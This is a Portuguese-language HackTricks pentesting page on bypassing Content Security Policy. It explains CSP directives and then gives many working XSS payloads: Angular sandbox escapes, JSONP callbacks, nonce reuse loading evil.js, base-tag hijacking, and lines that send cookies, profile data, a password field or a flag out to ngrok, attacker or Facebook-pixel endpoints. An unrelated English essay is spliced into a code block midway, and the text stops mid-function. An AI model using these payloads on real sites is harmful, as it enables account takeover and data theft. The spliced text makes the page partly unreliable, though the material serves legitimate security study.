hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

# Bypass de Política de Segurança de Conteúdo (CSP)

<details>

<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>

Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!

**Percepções de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real

**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!

## O que é CSP

A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como scripting entre sites (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.

A implementação do CSP é realizada por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.

* Implementado via cabeçalho de resposta:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* Implementado via meta tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Cabeçalhos

CSP pode ser aplicado ou monitorado usando estes cabeçalhos:

* `Content-Security-Policy`: Aplica o CSP; o navegador bloqueia quaisquer violações.
* `Content-Security-Policy-Report-Only`: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.

### Definindo Recursos

CSP restringe as origens para carregar conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Diretivas

* **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
* **default-src**: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.
* **child-src**: Especifica recursos permitidos para workers da web e conteúdos de frames incorporados.
* **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Restringe URLs para frames.
* **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
* **img-src**: Define fontes permitidas para imagens.
* **font-src**: Especifica fontes válidas para fontes carregadas usando `@font-face`.
* **manifest-src**: Define fontes permitidas de arquivos de manifesto de aplicativo.
* **media-src**: Define fontes permitidas para carregar objetos de mídia.
* **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
* **base-uri**: Especifica URLs permitidos para carregar usando elementos `<base>`.
* **form-action**: Lista os pontos finais válidos para envios de formulários.
* **plugin-types**: Restringe os tipos MIME que uma página pode invocar.
* **upgrade-insecure-requests**: Instrui os navegadores a reescrever URLs HTTP para HTTPS.
* **sandbox**: Aplica restrições semelhantes ao atributo sandbox de um `<iframe>`.
* **report-to**: Especifica um grupo para o qual um relatório será enviado se a política for violada.
* **worker-src**: Especifica fontes válidas para scripts de Worker, SharedWorker ou ServiceWorker.
* **prefetch-src**: Especifica fontes válidas para recursos que serão buscados ou pré-buscados.
* **navigate-to**: Restringe os URLs para os quais um documento pode navegar por qualquer meio (a, formulário, window.location, window.open, etc.)

### Fontes

* `*`: Permite todos os URLs, exceto aqueles com os esquemas `data:`, `blob:`, `filesystem:`.
* `'self'`: Permite o carregamento do mesmo domínio.
* `'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
* `'none'`: Bloqueia o carregamento de qualquer fonte.
* `'unsafe-eval'`: Permite o uso de `eval()` e métodos similares, não recomendado por motivos de segurança.
* `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
* `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por motivos de segurança.
* `'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
* Se você tiver a execução de JS limitada, é possível obter um nonce usado na página com `doc.defaultView.top.document.querySelector("[nonce]")` e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:

<details>

<summary>Carregar script reutilizando nonce</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
</details>

* `'sha256-<hash>'`: Lista branca de scripts com um hash sha256 específico.
* `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
* `'host'`: Especifica um host específico, como `example.com`.
* `https:`: Restringe URLs para aquelas que usam HTTPS.
* `blob:`: Permite que recursos sejam carregados a partir de URLs de Blob (por exemplo, URLs de Blob criadas via JavaScript).
* `filesystem:`: Permite que recursos sejam carregados a partir do sistema de arquivos.
* `'report-sample'`: Inclui uma amostra do código violador no relatório de violação (útil para depuração).
* `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
* `'strict-origin-when-cross-origin'`: Envia URLs completos ao fazer solicitações de mesma origem, mas envia apenas a origem quando a solicitação é de origem cruzada.
* `'unsafe-allow-redirects'`: Permite que recursos sejam carregados e redirecionem imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.

## Regras CSP Inseguras

### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`

#### self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}

### 'unsafe-eval'

{% hint style="danger" %}
Isso não está funcionando, para mais informações [**verifique isso**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
{% endhint %}
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Carga de trabalho em funcionamento:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic

Se você de alguma forma conseguir fazer com que um **código JS permitido crie uma nova tag de script** no DOM com seu código JS, porque um script permitido está criando isso, a **nova tag de script será permitida a ser executada**.

### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Payload de trabalho:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Falta de object-src e default-src

{% hint style="danger" %}
**Parece que isso não está mais funcionando**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Cargas de trabalho em funcionamento:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Upload de Arquivo + 'self'
```yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;
```
Se você pode fazer upload de um arquivo JS, você pode contornar esse CSP:

Payload de trabalho:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivo**.

Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.

A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar enviar um arquivo com essa extensão e o Conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).

### Ação de formulário

Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperar que os gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.

### Pontos de Extremidade de Terceiros + ('unsafe-eval')

{% hint style="warning" %}
Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Carregue uma versão vulnerável do angular e execute JS arbitrário:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([confira este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

{% hint style="info" %}
O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou de qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
### XSS Angular a partir de um nome de classe:

Um atacante pode explorar a vulnerabilidade de XSS no Angular injetando um código malicioso em um nome de classe. Isso pode ser feito ao definir uma classe com um nome que contenha um código JavaScript malicioso, que será executado quando a classe for renderizada no navegador.
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Abusando do código JS do Google reCAPTCHA

De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário, burlando a CSP:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Mais [**cargas úteis deste artigo**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### Abusando do www.google.com para redirecionamento aberto

A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Explorando \*.google.com/script.google.com

É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).

### Pontos de Extremidade de Terceiros + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Cenários como este, onde `script-src` é definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```

```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para uso para burlar CSP de diferentes sites.**

A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.

### Abusos de Terceiros

Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:

| Entidade           | Domínio Permitido                            | Capacidades |
| ------------------ | -------------------------------------------- | ------------ |
| Facebook           | www.facebook.com, \*.facebook.com            | Exfil        |
| Hotjar             | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
| Jsdelivr           | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
| Amazon CloudFront  | \*.cloudfront.net                            | Exfil, Exec  |
| Amazon AWS         | \*.amazonaws.com                             | Exfil, Exec  |
| Azure Websites     | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
| Salesforce Heroku  | \*.herokuapp.com                             | Exfil, Exec  |
| Google Firebase    | \*.firebaseapp.com                           | Exfil, Exec  |

Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.

Por exemplo, se você encontrar o seguinte CSP:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
# Bypassing Content Security Policy (CSP)

## Introduction

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, CSP can be misconfigured or not implemented properly, leading to potential security vulnerabilities.

## Bypass Techniques

### 1. Inline Script Execution

If a CSP allows `'unsafe-inline'` for script-src, it permits the execution of inline JavaScript code. Attackers can exploit this by injecting malicious scripts directly into the HTML code of the web page.

### 2. External Script Execution

Similarly, if a CSP allows `'unsafe-eval'` or whitelists domains that host malicious scripts in the `script-src` directive, attackers can load and execute external scripts to bypass CSP restrictions.

### 3. Data URI Scheme

Attackers can also use the data URI scheme to embed malicious code directly into the HTML or CSS of a web page. If the CSP policy does not restrict data URIs, this technique can be used to bypass CSP protections.

### 4. Subresource Integrity (SRI) Bypass

If a website uses Subresource Integrity (SRI) to ensure that external resources are not tampered with, attackers can bypass this protection by hosting a modified version of the resource on a different domain and loading it without SRI validation.

### 5. Reporting Endpoints

In some cases, CSP violation reports are sent to a specified endpoint. Attackers can manipulate the report-uri directive to send these reports to a controlled server, allowing them to gather information about the CSP policy and potentially find ways to bypass it.

## Conclusion

Content Security Policy is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is essential to configure CSP properly and regularly audit its implementation to prevent misconfigurations that could be exploited by attackers.
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:

1. Crie uma conta de desenvolvedor no Facebook aqui.
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
3. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
4. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".

Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
### Bypass através de RPO (Sobrescrita de Caminho Relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.

Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
O navegador acabará por carregar `https://example.com/scripts/angular/angular.js`.

Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com CSP.

Assim, ele irá decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.

Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.

A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.

Exemplo Online: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Execução de JS em Iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### **base-uri** ausente

Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).

Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ele **carregue** o script do **seu próprio servidor alcançando um XSS.**\
Se a página vulnerável for carregada com **httpS**, use um URL httpS na tag base.
```html
<base href="https://www.attacker.com/">
```
### Eventos do AngularJS

Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, fazendo referência ao objeto de evento do navegador nativo. Este objeto `$event` pode ser explorado para contornar o CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém uma matriz de objetos implicados na cadeia de execução do evento, com o objeto `window` posicionado invariavelmente no final. Esta estrutura é fundamental para táticas de escape de sandbox.

Ao direcionar esta matriz para o filtro `orderBy`, é possível iterar sobre ela, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O trecho de código demonstrado abaixo esclarece este processo:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregando `$event.path|orderBy` para manipular o array `path`, e aproveitando o objeto `window` para executar a função `alert()`, revelando assim `document.cookie`.

**Encontre outras formas de burlar o Angular em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

### AngularJS e domínio na lista branca
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Uma política CSP que lista domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).

Cargas de trabalho funcionais:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Outros pontos de execução arbitrária JSONP podem ser encontrados [**aqui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alguns deles foram excluídos ou corrigidos)

### Bypass via Redirection

O que acontece quando CSP encontra uma redireção do lado do servidor? Se a redireção levar a uma origem diferente que não é permitida, ela ainda falhará.

No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se a redireção levar a um caminho diferente, ela pode contornar as restrições originais.

Aqui está um exemplo:
```html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.

No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como se trata de um redirecionamento, o **caminho não é considerado** e o **script pode ser carregado**, contornando assim a restrição de caminho.

Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.

Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.

### Bypass CSP com marcação pendente

Leia [aqui](../dangling-markup-html-scriptless-injection/) como fazer.

### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página qualquer imagem de qualquer recurso.

Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### Com Service Workers

A função **`importScripts`** dos service workers não é limitada pelo CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}

### Injeção de Política

**Pesquisa:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

Se um **parâmetro** enviado por você está sendo **colado dentro** da **declaração** da **política**, então você poderia **alterar** a **política** de alguma forma que a torne **inútil**. Você poderia **permitir script 'unsafe-inline'** com qualquer um desses bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Porque esta diretiva irá **sobrescrever diretivas script-src existentes**.\
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

#### Edge

No Edge é muito mais simples. Se você adicionar no CSP apenas isso: **`;_`** o **Edge** irá **descartar** toda a **política**.\
Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)

### img-src \*; via XSS (iframe) - Ataque de tempo

Observe a falta da diretiva `'unsafe-inline'`\
Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe>`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, poderá extrair as informações necessárias.

Desta vez, uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi, a **resposta** levará **mais tempo** devido à função de espera. Em seguida, você poderá extrair a bandeira:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
